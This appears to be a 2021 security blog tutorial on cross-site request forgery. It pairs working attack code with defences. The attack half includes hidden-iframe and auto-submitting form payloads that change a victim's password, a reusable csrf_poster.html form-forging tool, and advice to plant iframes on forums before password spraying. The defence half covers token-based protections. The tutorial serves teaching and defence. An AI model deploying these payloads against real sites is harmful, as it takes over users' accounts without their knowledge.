:: bogs.io

Feb. 15, 2021 // bogs // csrf

Complete guide to CSRF

CSRF stands for Cross-Site Request Forgery and is one of the most "popular" web application vulnerabilities, while also being one of the more subtle ones. Before going into details, it helps to start from a simple and relevant example.

What is CSRF?

Just like the classic XSS example is the GET search form, the classic CSRF example is the GET change-password form. The fact that the form is GET is not the heart of the issue, it simply makes the proof of concept easier.

Suppose we have a web application with the following form at http://web.site/auth/change_password:

<html>
--- SNIP ---
<form method="GET">
    <input name="new_password" type="text"/>
    <input name="repeat_password" type="text" />
    <input type="submit" />
</form>
--- SNIP ---
</html>

CSRF Attack

We can set up a CSRF attack if we can trick somebody into making a request to that URL. The simplest way to do that is to load the page into an <iframe>. Let's say an authenticated user visits a page we control, http://bad.site/attack, which contains:

<iframe src="http://web.site/auth/change_password" style="display: none"></iframe>

At that point, we have forged the request but have not changed anything yet. We still need to include the GET parameters:

<iframe src="http://web.site/auth/change_password?new_password=hackerpass&repeat_password=hackerpass" style="display: none"></iframe>

There, you just changed the user password. The preconditions that made this possible are:

  1. The user was already authenticated in the web application, so the browser included cookies automatically.
  2. The attacker tricked the user into visiting a page under attacker control.
  3. The page contained an iframe that made a GET request with the vulnerable form parameters.

POST CSRF Attack

Your first objection might be that forms usually do not use the GET method. And you are right: state-altering operations should never be done via GET requests. That does not mean you will never find them in the wild.

There is also a simple way to forge POST requests. Suppose our vulnerable page now has a POST form:

<html>
--- SNIP ---
<form method="POST">
    <input name="new_password" type="text"/>
    <input name="repeat_password" type="text" />
    <input type="submit" />
</form>
--- SNIP ---
</html>

On our attacker page we can include another invisible iframe. That iframe contains a page with a POST form whose action is set to the change-password URL. We then submit the form with JavaScript:

<html>
--- SNIP ---
<form id="hackerform" method="POST" action="
http://web.site/auth/change_password">
 <input type="hidden" name="new_password" value="hackerpass" />
 <input type="hidden" name="repeat_password" value="hackerpass" />
</form>
<script>
 // Submit the form
 document.hackerform.submit()
</script>
--- SNIP ---
</html>

We had to include this page in an iframe so that the user does not notice the redirection.

To attack arbitrary forms in the same way, we can create a helper page that builds a form dynamically from GET parameters and automatically submits it. Here is a proof-of-concept csrf_poster.html that uses jQuery:

<html>
<head>
    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
</head>
<body>
<form id="csrf_form"></form>
<script type="text/javascript">

// Get the URL parameters in a dictionary
function getURLParameters() {
    var params = {};
    var queryString = window.location.search.substring(1);
    var kvPairs = queryString.split('&');
    for (index = 0, len = kvPairs.length; index < len; ++index) {
        pair = kvPairs[index];
        kv = pair.split('=');
        key = kv[0];
        value = kv[1];
        params[key] = value;
    }
    return params;
};

function buildForm() {
    var params = getURLParameters();

    // Set the action/method of the form
    $('#csrf_form').attr('action', params['url']);
    $('#csrf_form').attr('method', params['method']);

    // Inject form fields for each parameter
    for(paramName in params) {
        if (paramName != 'url' && paramName != 'method') {
            console.log(paramName);
            $('#csrf_form').append(
                "<input type='text' name='" + paramName +
                "' value='" + params[paramName] + "'/>");
        }
    }
}

// Build the form given URL params
buildForm();

// Perform the CSRF Attack
$('#csrf_form').submit();
</script>

</body>
</html>

Now open this file in your browser: http://localhost/csrf_poster.html?url=http://web.site/auth/change_password&method=POST&new_password=hackerpass&repeat_password=hackerpass

Notice how you get redirected immediately to http://web.site/auth/change_password. If this page were opened in an invisible iframe, the user would not notice anything, yet their password would still be changed.

Keep in mind ...

Here are a few more things to consider:

  • Exploiting CSRF can be the silver bullet that compromises an entire website if you manage to change the password of an admin account.
  • The attacker cannot read the response of the forged GET or POST request because of Same-Origin Policy. This means you may need to keep checking whether the attack succeeded.
  • By default, other types of requests cannot be forged in the same way, also because of Same-Origin Policy. This can change if the site adds a permissive header like Access-Control-Allow-Origin: *.

You can also persist these attacks. Imagine placing the invisible iframe in a popular forum and waiting for people to visit it while already being authenticated on the vulnerable web app. Later, you can go back and perform a password spray using the password you set.

Protecting against CSRF Attacks

There are two main ways of defending against CSRF attacks, and both require the server to send a CSRF token to the client and the client to present that token back. Most web frameworks implement some form of CSRF protection.

Method 1: Keeping CSRF Tokens in a database

The first method is to generate tokens and store them in a database, cache, or key-value store. You can expire them after some period so the storage does not grow forever. Once a client presents a token, the server checks whether it is valid and then invalidates it so it cannot be reused.

This approach is simple to understand but harder to implement because it requires server-side state.

Method 2: Cryptography based Tokens

There are several flavors of this technique. Some use encryption, others use digest functions.

Using Encryption

One option is to send a token like encrypt(SESSION_ID + TIMESTAMP). The server verifies it by decrypting it, checking the validity of the session ID, and optionally checking the timestamp.

Using a Digest Function

This is similar, but the token takes the form digest(SESSION_ID + TIMESTAMP) + TIMESTAMP. The timestamp is included outside the digest as well so that the server can reconstruct and verify the value.

Double-Submit Cookie Technique

This technique sends the same token both in a cookie and in the form or an HTTP header. A malicious page sending requests with JavaScript cannot set a matching form or header value to whatever the browser automatically sent as a cookie, because it cannot read the cookie.

Django goes a step further by masking the tokens using different ciphers. To check whether they match, they are unmasked first and only then compared.

References

  1. OWASP CSRF Prevention Cheat Sheet
  2. https://kylebebak.github.io/post/csrf-protection
  3. How Django CSRF protection works
  4. Double Defeat of Double-Submit Cookie
  5. http://shiflett.org/blog/2007/csrf-redirecto

Original live article: bogs.io/complete-guide-csrf

Back to blog